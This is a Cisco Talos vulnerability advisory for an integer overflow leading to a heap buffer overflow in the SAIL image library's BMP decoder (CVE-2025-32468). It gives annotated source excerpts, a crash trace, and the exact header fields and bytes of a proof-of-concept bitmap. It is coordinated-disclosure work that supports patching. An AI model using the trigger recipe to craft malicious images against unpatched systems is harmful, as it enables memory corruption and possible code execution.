Talos Vulnerability Report

TALOS-2025-2216

SAIL Image Decoding Library BMPv3 Image Decoding integer overflow vulnerability

August 25, 2025
CVE Number

CVE-2025-32468

SUMMARY

A memory corruption vulnerability exists in the BMPv3 Image Decoding functionality of the SAIL Image Decoding Library v0.9.8. When loading a specially crafted .bmp file, an integer overflow can be made to occur when calculating the stride for decoding. Afterwards, this will cause a heap-based buffer to overflow when decoding the image which can lead to remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)

PRODUCT URLS

SAIL Image Decoding Library - https://sail.software/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-680 - Integer Overflow to Buffer Overflow

DETAILS

SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.

When the library first processes a bitmap image, the following function will be used to read the header for the image. At [1], a uint16_t will be read from the file that contains the signature. This signature is then used to determine what type of bitmap should loaded. Afterwards at [2], the function will read the rest of the bitmap headers from the file.

sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
    if (bmp_load_options & SAIL_READ_BMP_FILE_HEADER) {
        /* "BM" or 0x02. */
        uint16_t magic;
        SAIL_TRY(io->strict_read(io->stream, &magic, sizeof(magic)));                       // [1] read the signature of the bitmap
        SAIL_TRY(io->seek(io->stream, 0, SEEK_SET));

        if (magic == SAIL_DDB_IDENTIFIER) {
...
        } else if (magic == SAIL_DIB_IDENTIFIER) {
            SAIL_TRY(bmp_private_read_dib_file_header(io, &bmp_state->dib_file_header));
            SAIL_TRY(read_bmp_headers(io, bmp_state));                                      // [2] read the bitmap headers
        } else {
...
        }
    } else {
        SAIL_TRY(read_bmp_headers(io, bmp_state));                                          // [2] read the bitmap headers
    }

...
    return SAIL_OK;
}

When reading the bitmap headers from the image, the following read_bmp_headers function will be used. The first thing this function will do is to read the v2 bitmap headers at [3]. Once that has been read, a switch will be used depending on the size of the headers. At [4], the library will read v3 of the bitmap headers. This is done for v3, v4, and v5 bitmaps.

sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
    /* Check BMP restrictions. */
    if (bmp_state->version == SAIL_BMP_V1) {
...
    } else if (bmp_state->version >= SAIL_BMP_V3) {
        if (bmp_state->v3.compression == SAIL_BI_BITFIELDS && bmp_state->v2.bit_count != 16 && bmp_state->v2.bit_count != 32) {                     // [3] validate the compression type and bit count
...
        }
        if (bmp_state->v3.compression != SAIL_BI_RGB && bmp_state->v3.compression != SAIL_BI_RLE4 && bmp_state->v3.compression != SAIL_BI_RLE8) {   // [3] validate the compression type and bit count
...
        }
        if (bmp_state->v3.compression == SAIL_BI_RLE4 && bmp_state->v2.bit_count != 4) {                                                            // [3] validate the compression type and bit count
...
        }
        if (bmp_state->v3.compression == SAIL_BI_RLE8 && bmp_state->v2.bit_count != 8) {                                                            // [3] validate the compression type and bit count
...
        }
    }

    SAIL_TRY(bmp_private_bit_count_to_pixel_format(bmp_state->version == SAIL_BMP_V1 ? bmp_state->v1.bit_count : bmp_state->v2.bit_count,           // [4] figure out the pixel format for the bit count
                                                    &bmp_state->source_pixel_format));
...
    return SAIL_OK;
}

After the headers of the image have been read, the bmp_private_read_init function will resume executing in order to determine the number of bytes that are occupied by a decoded row of the image. At [5], the bmp_private_bytes_in_row function will be used to calculate the number of bytes using the bits per pixel and bytes per row field from the image file. At [6], the image width will be used to calculate the number of bytes for a single row. This value will be multiplied by the image height in order to to allocate enough space for decoding the image. Due to both the number of bytes for a single row and the height being 32-bits, their product can result in an integer overflow which can result an an underzied buffer being allocated for decoding.

sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {

...

    /* Calculate the number of pad bytes to align scan lines to 4-byte boundary. */
    if (bmp_state->version == SAIL_BMP_V1) {
        SAIL_TRY(bmp_private_bytes_in_row(bmp_state->v1.width, bmp_state->v1.bit_count, &bmp_state->bytes_in_row));     // [5] calculate the stride for each row v1
        bmp_state->pad_bytes = bmp_state->v1.byte_width - bmp_state->bytes_in_row;
    } else {
        SAIL_TRY(bmp_private_bytes_in_row(bmp_state->v2.width, bmp_state->v2.bit_count, &bmp_state->bytes_in_row));     // [5] \ calculate the stride for each row v2
        bmp_state->pad_bytes = bmp_private_pad_bytes(bmp_state->bytes_in_row);
    }

    return SAIL_OK;
}
\
sail/src/sail-codecs/common/bmp/helpers.c:167-179
sail_status_t bmp_private_bytes_in_row(unsigned width, unsigned bit_count, unsigned *bytes_in_row) {

    switch (bit_count) {
        case 1:  *bytes_in_row = (width + 7) / 8; return SAIL_OK;                                                       // [6] calculate bytes per row
        case 4:  *bytes_in_row = (width + 1) / 2; return SAIL_OK;                                                       // [6] calculate bytes per row
        case 8:  *bytes_in_row = width;           return SAIL_OK;
        case 16: *bytes_in_row = width * 2;       return SAIL_OK;                                                       // [6] calculate bytes per row
        case 24: *bytes_in_row = width * 3;       return SAIL_OK;                                                       // [6] calculate bytes per row
        case 32: *bytes_in_row = width * 4;       return SAIL_OK;                                                       // [6] calculate bytes per row
    }

    SAIL_LOG_AND_RETURN(SAIL_ERROR_UNSUPPORTED_FORMAT);
}

When decoding each frame, the following bmp_private_read_frame function is used. This function will start at [7] by looping over each row of the image in order to iterate through each pixel that is stored. At [8] in the beginning of the loop, the sail_scan_line function will be used to calculate an offset into the buffer to store the decoded image data. Once the destination pointer has been determined, the loop at [9] will be entered in order to iterate through each pixel. The file read at [10] will then read the image data from the file and write each pixel into the destination pointer scan. Due to the integer overflow in the sail_scan_line function, the file read at [10] will write outside the boundaries of the target buffer and cause a memory corruption. These types of memory corruptions can allow for code execution under the context of the library.

sail/src/sail-codecs/common/bmp/bmp.c:389-536
sail_status_t bmp_private_read_frame(void *state, struct sail_io *io, struct sail_image *image) {

    struct bmp_state *bmp_state = state;

    /* RLE-encoded images don't need to skip pad bytes. */
    bool skip_pad_bytes = true;

    for (unsigned i = image->height; i > 0; i--) {                                                          // [7] loop over each row
        unsigned char *scan = sail_scan_line(image, bmp_state->flipped ? (i - 1) : (image->height - i));    // [8] calculate the scan line to decode into

        for (unsigned pixel_index = 0; pixel_index < image->width;) {                                       // [9] iterate through each pixel
            if (bmp_state->version >= SAIL_BMP_V3 && bmp_state->v3.compression == SAIL_BI_RLE4) {
...
            } else if (bmp_state->version >= SAIL_BMP_V3 && bmp_state->v3.compression == SAIL_BI_RLE8) {
...
            } else {
                /* Read a whole scan line. */
                SAIL_TRY(io->strict_read(io->stream, scan, bmp_state->bytes_in_row));                       // [10] read image data into scan line
                pixel_index += image->width;
            }
...
        }
...
    }

    return SAIL_OK;
}

Crash Information

$ sail decode poc.bmp
File          : poc.bmp
Codec         : BMP [Bitmap Picture]
Codec version : 1.1.2
AddressSanitizer:DEADLYSIGNAL
=================================================================
==172246==ERROR: AddressSanitizer: SEGV on unknown address 0xf58f9d50 (pc 0xf7cefbba bp 0xfff41ac8 sp 0xfff41a7c T0)
==172246==The signal is caused by a WRITE memory access.
    #0 0xf7cefbba in __mempcpy (/lib/libc.so.6+0x88bba) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #1 0xf7cd090f in __GI__IO_file_xsgetn (/lib/libc.so.6+0x6990f) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #2 0xf7cc2278 in _IO_fread (/lib/libc.so.6+0x5b278) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #3 0x080673c9 in fread (/path/to/sail/sail+0x80673c9) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
    #4 0x0813e25d in io_file_tolerant_read /path/to/sail/sail/src/sail/io_file.c:57:18
    #5 0x0813e396 in io_file_strict_read /path/to/sail/sail/src/sail/io_file.c:66:5
    #6 0x08165177 in bmp_private_read_frame /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:524:17
    #7 0x081555b0 in sail_codec_load_frame_v8_bmp /path/to/sail/sail/src/sail-codecs/bmp/bmp.c:111:5
    #8 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
    #9 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #10 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #11 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #12 0xf7c6a0e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #13 0xf7c6a1b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #14 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)

==172246==Register values:
eax = 0x00000bca  ebx = 0xf7e5ce34  ecx = 0x000002f2  edx = 0xf4f03dc0  
edi = 0xf58f9d50  esi = 0xf4b02d36  ebp = 0xfff41ac8  esp = 0xfff41a7c  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/libc.so.6+0x88bba) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1) in __mempcpy
==172246==ABORTING

Exploit Proof of Concept

$ python -i poc.py3.zip poc.bmp

The bitmap file generated by the proof-of-concept has the following structure.

>>> bmp
<class bitmap.File> 'unnamed_7f46620028d0' {unnamed=True}
[0] <instance bitmap.BITMAPFILEHEADER 'bmfh'> "\x42\x4d\x36\x24\x00\x00\x00\x00\x00\x00\x36\x04\x00\x00"
[e] <instance bitmap.BitmapInfoHeader 'bmih'> "\x28\x00\x00\x00\xff\xff\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
[36] <instance parray.type 'bmiColors'> bitmap.RGBQUAD[256] "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ...total 1024 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[436] <instance dynamic.block(0) 'bmiExtra'> (0) ""
[436] <instance ptype.block 'bmData'> (8192) "\x00\x7f\x00\x7f\x00\x7f\x00\x7f\x00\x7f\x00\x7f\x00\x7f ...total 8192 bytes... \x7f\x00\x7f\x00\x7f\x00\x7f\x00\x7f\x00\x7f\x00\x7f"

Any size v2 (40) or larger of the BitmapInfoHeader can be used to trigger this vulnerability.

<class bitmap.BitmapInfoHeader> 'bmih'
[e] <instance bitmap.DWORD 'biSize'> 0x00000028 (40)
[12] <instance bitmap.BitmapInfo 'bmHeader'> "\xff\xff\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"

The entirety of the fields required to trigger this vulnerability exist within the following BitmapInfo structure. If the “biCompression” field of this structure is BI_RGB(0), then the buffer being overflown is calculated using the product of the dimensions of the image and the bytes determined by the “biBitCount” field. The “biBitCount” field contains the number of bits, which must be divided by 8 to get the number of bytes. This specific proof-of-concept sets the “biWidth” field to 0xFFFF, the “biHeight” field to 0x20000 with 4 bits per pixel. This results in allocating 0 bytes for decoding.

<class bitmap.BitmapInfo> 'bmHeader'
[12] <instance bitmap.LONG 'biWidth'> +0x0000ffff (65535)
[16] <instance bitmap.LONG 'biHeight'> +0x00020000 (131072)
[1a] <instance bitmap.WORD 'biPlanes'> 0x0000 (0)
[1c] <instance bitmap.WORD 'biBitCount'> 0x0004 (4)
[1e] <instance bitmap.biCompression 'biCompression'> BI_RGB(0x0)
[22] <instance bitmap.DWORD 'biSizeImage'> 0x00000000 (0)
[26] <instance bitmap.LONG 'biXPelsPerMeter'> +0x00000000 (0)
[2a] <instance bitmap.LONG 'biYPelsPerMeter'> +0x00000000 (0)
[2e] <instance bitmap.DWORD 'biClrUsed'> 0x00000100 (256)
[32] <instance bitmap.DWORD 'biClrImportant'> 0x00000000 (0)

The following data is a hexdump of the image data from the generated bitmap. Decoding from offset 0x436 of this specific proof-of-concept, the number of pixels that will be read into the undersized buffer will be 0x7F.

>>> print(bmp['bmData'].hexdump(lines=5))
0436  00 7f 00 7f 00 7f 00 7f  00 7f 00 7f 00 7f 00 7f  ................
0446  00 7f 00 7f 00 7f 00 7f  00 7f 00 7f 00 7f 00 7f  ................
0456  00 7f 00 7f 00 7f 00 7f  00 7f 00 7f 00 7f 00 7f  ................
0466  00 7f 00 7f 00 7f 00 7f  00 7f 00 7f 00 7f 00 7f  ................
0476  00 7f 00 7f 00 7f 00 7f  00 7f 00 7f 00 7f 00 7f  ................
TIMELINE

2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-29 - Vendor Patch Release
2025-08-25 - Public Release

Credit

Discovered by a member of Cisco Talos.